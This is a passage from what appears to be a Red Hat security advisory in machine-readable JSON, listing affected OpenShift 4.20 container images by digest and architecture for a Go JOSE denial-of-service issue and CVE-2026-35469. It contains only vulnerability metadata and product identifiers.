"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "github.com/go-jose/go-jose/v3: github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service via crafted JSON Web Encryption (JWE) object"
},
{
"cve": "CVE-2026-35469",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-04-13T03:52:35+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
